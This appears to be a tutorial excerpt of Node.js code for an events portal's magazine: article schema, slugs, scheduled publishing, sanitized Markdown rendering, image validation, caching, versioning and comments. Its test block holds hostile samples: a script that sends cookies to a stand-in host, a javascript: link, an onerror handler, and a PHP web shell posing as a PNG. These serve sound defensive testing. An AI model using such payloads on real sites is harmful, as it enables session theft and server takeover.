npm install markdown-it sanitize-html multer sharp slugify

// src/repositories/schemas/article.js
const articleSchema = new Schema({
  slug: { type: String, required: true, unique: true },
  title: { type: String, required: true, maxlength: 160 }, summary: { type: String },
  markdownBody: { type: String, required: true },   // the editable source
  htmlBody: String,                                 // derived and sanitized (section 6)
  status: { type: String, default: 'draft',
            enum: ['draft', 'scheduled', 'published', 'archived'] },
  authorId: { type: String, required: true },
  authorName: { type: String, required: true },  // denormalized (section 8)
  tags: { type: [String], default: [] },
  eventId: { type: String, default: null },      // 'evt-003'
  venueId: { type: String, default: null },      // 'teatro-almendra'
  coverImage: { key: String, width: Number, altText: String },
  publishedAt: { type: Date, default: null }, scheduledFor: { type: Date, default: null },
  versions: { type: [versionSchema], default: [] },
  version: { type: Number, default: 1 } }, { timestamps: true });   // version → ETag

articleSchema.index({ status: 1, publishedAt: -1 });    // the main query
articleSchema.index({ tags: 1, publishedAt: -1 });
articleSchema.index({ eventId: 1, publishedAt: -1 });
// Text index for search (section 9); the weights prioritize the title.
articleSchema.index({ title: 'text', summary: 'text', markdownBody: 'text' },
  { weights: { title: 10, summary: 5, markdownBody: 1 }, default_language: 'english' });

// src/services/slugs.js — the unique index on slug is the final guarantee
// strict drops anything that is not alphanumeric or a hyphen; locale 'es'
// turns 'ñ' into 'n' and 'ó' into 'o'. Cutting at 80 keeps URLs readable.
const generateBaseSlug = (title) =>
  slugify(title, { lower: true, strict: true, locale: 'es', trim: true }).slice(0, 80);

async function generateUniqueSlug({ articleRepository, title }) {
  const base = generateBaseSlug(title);
  let candidate = base; let suffix = 1;
  while (await articleRepository.slugExists(candidate)) {  // 2 or 3 rounds at most
    suffix += 1; candidate = `${base}-${suffix}`;
  }
  return candidate;
}
module.exports = { generateBaseSlug, generateUniqueSlug };

// src/services/publishing.js
async function schedulePublication({ article, when, editorialQueue }) {
  const delayMs = new Date(when).getTime() - Date.now();
  if (delayMs <= 0) throw new ValidationError('DATE_IN_THE_PAST', { when });
  await editorialQueue.add('publish-article', { articleId: article.id },
    { delay: delayMs, attempts: 3, removeOnComplete: 100,
      jobId: `publish-${article.id}` });   // deterministic: rescheduling replaces it
  return articleRepository.update(article.id,
    { status: 'scheduled', scheduledFor: when });
}

// The consumer (separate process, M10/M11) REVALIDATES the status before acting:
// if the author moved the article back to draft and the job was not cancelled
// cleanly, publishing blindly would push a withdrawn text into the world.
new Worker('editorial', async ({ data }) => {
  const article = await articleRepository.get(data.articleId);
  if (article?.status !== 'scheduled') return { skipped: true };
  await publishingService.publish(article);
}, { connection });

// src/services/renderer.js
const md = new MarkdownIt({ html: false, linkify: true, typographer: true });

const SANITIZE_OPTIONS = {
  // ALLOWLIST: only what is enumerated survives. A denylist always falls
  // short the moment a new tag or a new attribute appears.
  allowedTags: ['h2', 'h3', 'h4', 'p', 'blockquote', 'ul', 'ol', 'li', 'strong', 'em',
    'code', 'pre', 'a', 'img', 'figure', 'figcaption', 'table', 'thead', 'tbody', 'tr',
    'th', 'td', 'hr', 'br'],
  allowedAttributes: { a: ['href', 'title', 'rel', 'target'], code: ['class'],
    img: ['src', 'alt', 'width', 'height', 'loading'] },
  allowedSchemes: ['http', 'https', 'mailto'],   // no javascript: and no data:
  allowedSchemesByTag: { img: ['https'] },
  // External links never without rel, or we expose window.opener.
  transformTags: { img: sanitizeHtml.simpleTransform('img', { loading: 'lazy' }),
    a: sanitizeHtml.simpleTransform('a', { rel: 'noopener noreferrer nofollow' }) },
};
const renderArticle = (body) => sanitizeHtml(md.render(body), SANITIZE_OPTIONS);
module.exports = { renderArticle, SANITIZE_OPTIONS };

// src/services/image-validation.js
// Signatures of the formats we accept (M3: Buffers and magic numbers).
const SIGNATURES = [
  { type: 'image/jpeg', extension: 'jpg', bytes: [0xff, 0xd8, 0xff] },
  { type: 'image/png', extension: 'png',
    bytes: [0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a] },
  { type: 'image/webp', extension: 'webp', bytes: [0x52, 0x49, 0x46, 0x46],
    extra: (b) => b.subarray(8, 12).toString('ascii') === 'WEBP' },
];

function detectRealType(buffer) {
  for (const signature of SIGNATURES) {
    if (!buffer.subarray(0, signature.bytes.length).equals(Buffer.from(signature.bytes))) continue;
    if (signature.extra && !signature.extra(buffer)) continue;
    return { type: signature.type, extension: signature.extension };
  }
  return null;   // no known signature: not an image we accept
}

// src/queues/images.js — consumer, a separate process
const SIZES = [{ name: 'thumbnail', width: 320 }, { name: 'content', width: 960 },
               { name: 'cover', width: 1600 }];

new Worker('images', async ({ data }) => {
  const original = await storage.download(data.originalKey);
  const generated = [];
  for (const size of SIZES) {
    const output = await sharp(original)
      .rotate()                                   // respects the EXIF orientation
      .resize({ width: size.width, withoutEnlargement: true })
      .webp({ quality: 82 }).toBuffer();
    const key = data.originalKey.replace(/\.(\w+)$/, `-${size.name}.webp`);
    await storage.upload(key, output, 'image/webp');
    generated.push({ name: size.name, key, width: size.width });
  }
  await articleRepository.recordImages(data.articleId, generated);
}, { connection, concurrency: 2 });

function sendArticle(res, article) {
  // The ETag is derived from the content: it changes only if the article does.
  // s-maxage separates CDN from browser; stale-while-revalidate serves slightly
  // stale content while it revalidates, so the reader never waits.
  res.set('ETag', `"art-${article.id}-${article.version}"`);
  res.set('Cache-Control', 'public, max-age=60, s-maxage=300, stale-while-revalidate=600');
  return res.json(article);
}

// src/services/article-reading.js
const KEY = (slug) => `article:published:${slug}`;

async function getPublishedArticle({ slug, redis, articleRepository }) {
  const cached = await redis.get(KEY(slug));
  if (cached) return JSON.parse(cached);
  const article = await articleRepository.findPublishedBySlug(slug);
  if (!article) return null;
  // TTL as a safety net; explicit invalidation is the real mechanism.
  await redis.set(KEY(slug), JSON.stringify(article), 'EX', 600);
  return article;
}

async function invalidateArticle({ slug, redis }) {
  // The listings contain the article too: they have to go.
  await redis.del(KEY(slug), 'magazine:home', 'magazine:sitemap', 'magazine:rss');
}

const searchArticles = ({ query, limit = 10 }) => ArticleModel
  .find({ $text: { $search: query }, status: 'published' },
        { score: { $meta: 'textScore' } })
  .sort({ score: { $meta: 'textScore' } }).limit(limit).lean();

async function listPublished({ cursor, limit = 12, tag }) {
  const filter = { status: 'published' };
  if (tag) filter.tags = tag;
  if (cursor) filter.publishedAt = { $lt: new Date(cursor) };   // cursor, not skip
  // The select matters: do not load markdownBody or versions for a card-based
  // home page. It is the difference between shipping 8 KB and 800 KB per page.
  const docs = await ArticleModel.find(filter)
    .select('slug title summary authorName publishedAt tags coverImage')
    .sort({ publishedAt: -1 }).limit(limit + 1).lean();
  const page = docs.slice(0, limit);   // the extra one only tells us if there is more
  return { articles: page.map(toDomainSummary),
    nextCursor: docs.length > limit ? page.at(-1).publishedAt.toISOString() : null };
}

// src/routes/feeds.js — the sitemap is cached in Redis and invalidated on publish
routes.get('/sitemap.xml', async (req, res) => {
  const cached = await redis.get('magazine:sitemap');
  if (cached) return res.type('application/xml').send(cached);
  const articles = await articleRepository.allPublished();
  const xml = ['<?xml version="1.0" encoding="UTF-8"?>',
    '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">',
    // lastmod = date of the last edit, just like the portal's sitemap.
    ...articles.map((a) => `<url><loc>${configuration.publicUrl}/magazine/${a.slug}</loc>` +
      `<lastmod>${a.updatedAt.toISOString().slice(0, 10)}</lastmod></url>`),
    '</urlset>'].join('\n');
  await redis.set('magazine:sitemap', xml, 'EX', 3600);
  return res.type('application/xml').send(xml);
});

describe('magazine', () => {
  it('sanitizes malicious HTML embedded in the Markdown', () => {
    const html = renderArticle(
      'Hello <script>fetch("//evil.test?c="+document.cookie)</script>\n\n' +
      '[click here](javascript:alert(1))\n\n<img src=x onerror="alert(1)">');
    expect(html).to.not.include('<script');
    expect(html).to.not.include('javascript:');
    expect(html).to.not.include('onerror');
  });
  it('rejects a file that claims to be a PNG and is not', async () => {
    await request(createApplication())
      .post('/api/v1/magazine/articles/art-1/images')
      .set('Authorization', `Bearer ${organizerToken}`)
      .attach('image', Buffer.from('<?php system($_GET[0]); ?>'),
        { filename: 'photo.png', contentType: 'image/png' })
      .expect(400)
      .expect((r) => expect(r.body.error.code).to.equal('CONTENT_NOT_AN_IMAGE'));
  });
});

async function renameSlug({ articleId, newTitle, actor }) {
  const article = await articleRepository.get(articleId);
  policy.require('article:edit', { actor, resource: article });   // M8
  const newSlug = await generateUniqueSlug({ articleRepository, title: newTitle });
  if (newSlug === article.slug) return article;
  const oldSlug = article.slug;
  const updated = await articleRepository.update(articleId,
    { slug: newSlug, title: newTitle, $inc: { version: 1 } });
  // The redirect is created AFTER the article releases the old slug.
  await redirectRepository.create({ oldSlug, newSlug, createdAt: new Date() });
  await invalidateArticle({ slug: oldSlug, redis });
  await invalidateArticle({ slug: newSlug, redis });
  return updated;
}

const APPROVED_FOR_TRUST = 3;

async function createComment({ articleId, author, text }) {
  const approved = await commentRepository.countApprovedFor(author.id);
  const status = approved >= APPROVED_FOR_TRUST ? 'published' : 'pending';
  const comment = await commentRepository.create({ articleId, authorId: author.id,
    authorName: author.name, text, status, createdAt: new Date().toISOString() });
  // We only invalidate if it is published: if it stays pending, the cache is fine.
  if (status === 'pending') await moderationQueue.add('review-comment',
    { commentId: comment.id });
  else await redis.del(`comments:${articleId}`);
  return comment;
}

async function restoreVersion({ articleId, number, actor }) {
  const article = await articleRepository.get(articleId);
  if (!article) throw new ResourceNotFound('ARTICLE_NOT_FOUND', { articleId });
  policy.require('article:edit', { actor, resource: article });
  const version = article.versions.find((v) => v.number === Number(number));
  if (!version) throw new ResourceNotFound('VERSION_NOT_FOUND', { number });
  // Before overwriting, the one in force is archived: restoring is reversible.
  const current = { number: (article.versions.at(-1)?.number ?? 0) + 1,
    title: article.title, markdownBody: article.markdownBody,
    authorId: actor.id, savedAt: new Date() };
  const updated = await articleRepository.update(articleId, {
    title: version.title, markdownBody: version.markdownBody,
    // Re-sanitized with the CURRENT allowlist, not the one from six months ago.
    htmlBody: renderArticle(version.markdownBody),
    $push: { versions: { $each: [current], $slice: -20 } },   // keeps the cap
    $inc: { version: 1 } });
  await invalidateArticle({ slug: article.slug, redis });
  return updated;
}